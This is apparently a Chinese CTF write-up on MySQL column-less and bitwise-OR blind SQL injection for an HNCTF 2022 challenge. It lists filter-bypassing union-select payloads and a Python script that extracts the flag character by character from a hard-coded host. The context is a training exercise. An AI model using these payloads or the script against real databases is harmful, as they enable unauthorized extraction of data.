无列名&位或注入随记

7 分钟

一、无列名注入

  1. 在mysql5.6以上版本,对应Mariadb的10.0以上,mysql数据库中的inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是不会存储列名。
    在这里插入图片描述
    在这里插入图片描述
  2. 在mysql5.7以上版本,对应Mariadb的10.1以上,mysql新增了sys数据库,该数据库的基础数据也是来自information_schame,但是以视图的形式存储,其中schema_auto_increment_columns存储了数据库名,表名,列名。
    在这里插入图片描述
因此,当进行mysql注入的时候,当information_schema被过滤的时候,就可以考虑用以上的方法,而当没有sys,只能使用innodb_table_stats时,由于不能查询到列名,所以就需要使用无列名注入。

二、原理

  1. 首先我们知道,mysql在使用select语句的使用,会构造虚拟的表和数据返回,如:
    在这里插入图片描述
  2. 那么假如我们使用联合查询,union select就会将对应的列拼接起来返回,如:
    在这里插入图片描述
  3. 可以看到,上面返回的数据列名变成了构造的1,2,3,而第二行数据拼接了user表的数据,因此根据猜测列名,就可以取出flag的列,在不知道列名的情况下,获取到了列数据。
    在这里插入图片描述

此处3表示取表的第三列数据,那么你可能会异或q是干什么的,那么我们看看不加q会怎么样。

在这里插入图片描述
没有q的时候,似乎出现了报错,报错信息显示的是在进行嵌套查询时,子查询的结果必须有一个别名,所以这里的q就可以认为是一个别名,其实这里就是省略了as,就是相当于

在这里插入图片描述
假如反引号被过滤了,还能取对应的列数据吗,当然是可以的,可以通过以上省略的as,进行列取别名操作取数据,如以下将第三列的数据取别名为a。

在这里插入图片描述

三、例题:[HNCTF 2022 WEEK2]easy_sql

进入题目:
在这里插入图片描述

已经告诉是sql注入了,发现id输入数值会有三种返回结果handsome,姓名不存在,或账号密码错误以及error,其中error就是被黑名单检测到了,某些字符被过滤了。

在这里插入图片描述

经过简单的手工测试,发现空格,and,#,%23,--被过滤了,重点是注释符好像全部被过滤了,因此方向可以是异或类型的注入或者闭合型的注入,再进一步测试,发现同或,异或符号都被过滤了,所以就往闭合符号方向考虑。

在这里插入图片描述

确定存在注入,并且可以使用'1闭合,那么直接开始注入。

1'/**/group/**/by/**/3,'1  #因为or被过滤了,大小写也无法绕过,因此使用group代替,发现3不报错,4开始报错,确认列数为3

1'/**/union/**/select/**/1,2,database()/**/'1 #爆出数据库为ctf

1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/'1 #正常语句爆表名的时候,出现error,逐个输入,发现information_schema被过滤了,于是换成了sys.schema_auto_increment_columns,发现会报错,可能是不存在吧,再换成了mysql.innodb_table_stats

1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1  #查出数据库名得ctf,ctftraining,ctftraining,ctftraining,mysql

1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/'1 #查表名得ccctttfff,flag,news,users,gtid_slave_pos

#最后就是我们说的无列名注入,这里我们还不知道flag表的列数,那就猜,从1一值往下面猜,发现flag表就一列
1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)/**/as/**/q/**/where/**/'1 #得到flag

在这里插入图片描述

四、位或注入

上面无列名注入以前也算见过,但是毕竟面向百度做题吗,在看别人WP的时候,发现还有其它解法,用位或注入来解,和异同或注入原理是一样的,但是真的没听说过位或注入,顺便记录一下。

在mysql中位或运算符为|

位或运算的实质是将参与运算的两个数据按对应的二进制数逐位进行逻辑或运算。若对应的二进制位有一个或两个为 1,则该位的运算结果为 1,否则为 0。
在这里插入图片描述
在这里插入图片描述

既然这里1和2会返回不同的结果,并且if等也没被过滤,那么确实可以进行盲注。

脚本如下:

import requests

url = 'http://43.143.7.127:28327/index.php'
result = ''
for times in range(1, 88):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        # payload=f"1'|if(ascii(substr((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{times},1))>{mid},1,2)/**/or/**/'"
        # payload=f"1'|if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),{times},1))>{mid},1,2)/**/or/**/'"
        payload=f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)/**/as/**/q),{times},1))>{mid},1,2)/**/or/**/'"
        data = {"id": payload}
        resp = requests.post(url, data=data)
        if 'Here is your want!' in resp.text:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)

在这里插入图片描述

总结

主要记录下无列名注入的原理和使用,以及新学到的符号,位或注入,然后我发现还有位与运算符&,但是由于GET和POST注入&和当成变量分隔符,所以似乎用不起来。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:无列名&位或注入随记
文章链接:https://aiwin.fun/index.php/archives/3474/
最后编辑:2024 年 1 月 4 日 16:50 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 8 + 6 =
快来做第一个评论的人吧~